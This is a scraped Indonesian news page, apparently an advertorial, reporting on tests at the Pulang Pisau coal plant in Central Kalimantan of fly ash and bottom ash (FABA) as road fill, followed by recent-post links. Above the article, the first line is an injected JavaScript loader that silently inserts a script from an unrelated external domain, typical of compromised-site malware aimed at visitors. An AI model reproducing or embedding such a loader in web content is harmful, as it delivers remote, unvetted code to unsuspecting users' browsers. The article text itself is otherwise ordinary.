(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PLN UIP3B KALIMANTAN

Bahan Pengganti Urukan Tanah, PLN-Direktorat Bina Teknik Jalan dan Jembatan Uji Sampel FABA di PLTU Pulang Pisau


KANALKALIMANTAN.COM, BANJARBARU – Direktorat Bina Teknik Jalan dan Jembatan bersama Balai Pelaksana Jalan Nasional Kalimantan Tengah (Kalteng) melakukan kunjungan ke Pembangkit Listrik Tenaga Uap (PLTU) Pulang Pisau di PLN Unit Pelaksana Pengendalian Pembangkitan (UPDK) Palangkaraya.

Tim memaparkan hasil uji sampel Fly Ash Bottom Ash (FABA) yang sangat berpotensi menjadi bahan pengganti urukan jalan

Kunjungan ini merupakan tindak lanjut dari penyusunan rancangan Standar Nasional Indonesia (SNI) terhadap stabilisasi tanah atau bahan pengganti urukan jalan yang sudah dimulai sejak awal tahun 2022 lalu.

“Hari ini kami melakukan diskusi pematangan dan penajaman pemanfaatan FABA untuk kegiatan kontruksi jalan. Semoga aspek legal dan teknisnya bisa segera diselesaikan agar sumber daya yang sangat melimpah ini dapat segera dimanfaatkan,” ujar Hardy Pangihutan Siahaan, Kepala Balai Pelaksana Jalan Nasional Kalteng.

 

 

Baca juga: Besok, Haul ke-216 Datu Kalampayan di Mahligai Pancasila

Kepala Balai Pelaksana Jalan Nasional Kalteng mengungkapkan tentang rencana uji coba lapangan terkait pemanfaatan FABA di ruas jalan provinsi dan food estate Kalteng dalam waktu dekat.

Manager UPDK Palangkaraya, Heni Setyo Handoko yang turut mendampingi tim saat berkunjung ke lokasi workshop pengolahan limbah FABA PLTU Pulang Pisau melihat langsung fisik FABA dan pemanfaatan yang sudah dilakukan UPDK Palangkaraya.

Handoko menjelaskan, PLN telah menjalin kerja sama dengan berbagai pihak dalam pemanfaatan FABA hasil pembakaran batu bara ini, untuk berbagai macam bahan baku keperluan baik dari sektor konstruksi maupun infrastruktur di sekitar PLTU Pulang Pisau.

“Kami secara proaktif mengajak pemerintah daerah, Badan Usaha Milik Desa, UMKM, serta berbagai kelompok masyarakat setempat memaksimalkan pemanfaatan FABA menjadi produk ramah lingkungan dan memberikan multiplier effect meningkatkan kontribusi terhadap sektor perekonomian,” beber Handoko. (Kanalkalimantan.com/adv)

Reporter : adv
Editor : kk


Risa

Recent Posts

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

31 menit ago

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

8 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

11 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

12 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

15 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

17 jam ago

This website uses cookies.